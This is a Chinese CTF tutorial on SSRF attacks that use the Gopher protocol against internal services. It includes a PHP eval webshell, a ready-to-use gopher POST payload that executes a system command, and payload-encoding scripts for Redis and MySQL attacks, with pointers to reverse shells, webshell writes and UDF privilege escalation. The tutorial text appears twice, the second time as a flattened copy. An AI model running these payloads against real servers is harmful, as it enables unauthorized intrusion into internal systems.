CTF中SSRF的一些trick
字数 1316 2025-08-26 22:11:28

CTF中SSRF攻击技巧详解

1. SSRF基础概念

SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的漏洞。主要攻击目标是从外网无法访问的内部系统。

2. 常见攻击面

  1. 端口扫描:对外网、服务器所在内网、本地进行端口扫描,获取服务banner信息
  2. 应用程序攻击:攻击运行在内网或本地的应用程序(如溢出漏洞)
  3. 指纹识别:对内网WEB应用进行指纹识别,通过访问默认文件实现
  4. Web应用攻击:攻击内外网的web应用(如Struts2、SQL注入等)
  5. 文件读取:利用file协议读取本地文件

3. Gopher协议扩展攻击面

Gopher协议是SSRF攻击中的"万金油",可以构造多种攻击场景。

3.1 通过Gopher发送POST请求

攻击场景:内网有一个exp.php

<?php eval($_POST['a']);?>

攻击步骤

  1. 本地搭建环境访问并抓包
  2. 获取原始请求数据
  3. 使用Python脚本编码:
import urllib
from urllib.parse import quote

s = 'xxxx'  # 原始请求数据
len = len(s)
p = ''
for i in range(len)[::2]:
    p += urllib.parse.quote(chr(int(s[i:i+2],16)))
print(p)
  1. 构造最终payload:
gopher://127.0.0.1:80/_POST%20/exp.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Linux%3B%20Android%209.0%3B%20SAMSUNG-SM-T377A%20Build/NMF26X%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/72.0.3626.109%20Mobile%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AReferer%3A%20http%3A//127.0.0.1/exp.php%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2025%0D%0AConnection%3A%20keep-alive%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Aa%3Dsystem%2528%2522id%2522%2529%253B
  1. 使用curl测试后,可进一步反弹shell

3.2 攻击内网Redis数据库

攻击前提:Redis未授权访问

攻击步骤

  1. 通过SSRF探测内网Redis服务
  2. 构造Redis协议格式的攻击payload
  3. 通过Gopher协议发送恶意命令,如:
    • 写入webshell
    • 反弹shell
    • 写入SSH密钥等

关键点:需要熟悉Redis协议格式,正确构造协议数据

3.3 攻击内网MySQL数据库

MySQL连接方式

  1. Unix套接字
  2. 内存共享/命名管道
  3. TCP/IP套接字(Gopher攻击的基础)

攻击前提

  1. MySQL无需密码认证或已知密码
  2. 配置文件中skip_networking选项关闭
  3. 使用TCP/IP套接字连接(127.0.0.1而非localhost)

攻击步骤

  1. 创建测试用户:
CREATE USER 'test'@'localhost';
GRANT ALL ON *.* TO 'test'@'localhost';
  1. 使用tcpdump抓包:
tcpdump -i lo port 3306 -w mysql.pcapng
  1. 连接MySQL并执行操作:
mysql -h 127.0.0.1 -uname
  1. 分析抓包数据,构造攻击payload

  2. 使用编码脚本生成Gopher payload:

#encoding:utf-8
def result(s):
    a = [s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_" + "".join(a)

if __name__ == "__main__":
    import sys
    s = sys.argv[1]
    print result(s)

攻击方式

  1. 执行任意SQL查询获取数据
  2. 通过写文件获取webshell(需有写权限)
  3. UDF提权

4. CTF中的常见套路

  1. XSS+SSRF+Redis:通过XSS触发后台SSRF,利用Redis未授权访问获取权限
  2. 直接SSRF+端口扫描:给出SSRF点,要求扫描子网(3306是常见端口),通过Gopher攻击MySQL未授权
  3. 无回显情况:尝试写webshell或反弹shell

5. 关键注意事项

  1. localhost与127.0.0.1的区别

    • localhost不经网卡传输,不受网络防火墙限制
    • 127.0.0.1通过网卡传输,受防火墙限制
    • 抓包必须使用127.0.0.1
  2. MySQL配置检查

    • 确保/etc/mysql/my.cnfskip_networking关闭
    • 确保使用TCP/IP套接字连接
  3. 数据库版本匹配:构造攻击包时要选择和目标环境相同的数据库版本

6. 参考资料

  1. Gopher协议攻击面分析 - 长亭科技
  2. SSRF+Redis攻击详解
  3. ISITDTU CTF 2018题目分析
CTF中SSRF攻击技巧详解 1. SSRF基础概念 SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的漏洞。主要攻击目标是从外网无法访问的内部系统。 2. 常见攻击面 端口扫描 :对外网、服务器所在内网、本地进行端口扫描,获取服务banner信息 应用程序攻击 :攻击运行在内网或本地的应用程序(如溢出漏洞) 指纹识别 :对内网WEB应用进行指纹识别,通过访问默认文件实现 Web应用攻击 :攻击内外网的web应用(如Struts2、SQL注入等) 文件读取 :利用file协议读取本地文件 3. Gopher协议扩展攻击面 Gopher协议是SSRF攻击中的"万金油",可以构造多种攻击场景。 3.1 通过Gopher发送POST请求 攻击场景 :内网有一个exp.php 攻击步骤 : 本地搭建环境访问并抓包 获取原始请求数据 使用Python脚本编码: 构造最终payload: 使用curl测试后,可进一步反弹shell 3.2 攻击内网Redis数据库 攻击前提 :Redis未授权访问 攻击步骤 : 通过SSRF探测内网Redis服务 构造Redis协议格式的攻击payload 通过Gopher协议发送恶意命令,如: 写入webshell 反弹shell 写入SSH密钥等 关键点 :需要熟悉Redis协议格式,正确构造协议数据 3.3 攻击内网MySQL数据库 MySQL连接方式 : Unix套接字 内存共享/命名管道 TCP/IP套接字(Gopher攻击的基础) 攻击前提 : MySQL无需密码认证或已知密码 配置文件中 skip_networking 选项关闭 使用TCP/IP套接字连接(127.0.0.1而非localhost) 攻击步骤 : 创建测试用户: 使用tcpdump抓包: 连接MySQL并执行操作: 分析抓包数据,构造攻击payload 使用编码脚本生成Gopher payload: 攻击方式 : 执行任意SQL查询获取数据 通过写文件获取webshell(需有写权限) UDF提权 4. CTF中的常见套路 XSS+SSRF+Redis :通过XSS触发后台SSRF,利用Redis未授权访问获取权限 直接SSRF+端口扫描 :给出SSRF点,要求扫描子网(3306是常见端口),通过Gopher攻击MySQL未授权 无回显情况 :尝试写webshell或反弹shell 5. 关键注意事项 localhost与127.0.0.1的区别 : localhost不经网卡传输,不受网络防火墙限制 127.0.0.1通过网卡传输,受防火墙限制 抓包必须使用127.0.0.1 MySQL配置检查 : 确保 /etc/mysql/my.cnf 中 skip_networking 关闭 确保使用TCP/IP套接字连接 数据库版本匹配 :构造攻击包时要选择和目标环境相同的数据库版本 6. 参考资料 Gopher协议攻击面分析 - 长亭科技 SSRF+Redis攻击详解 ISITDTU CTF 2018题目分析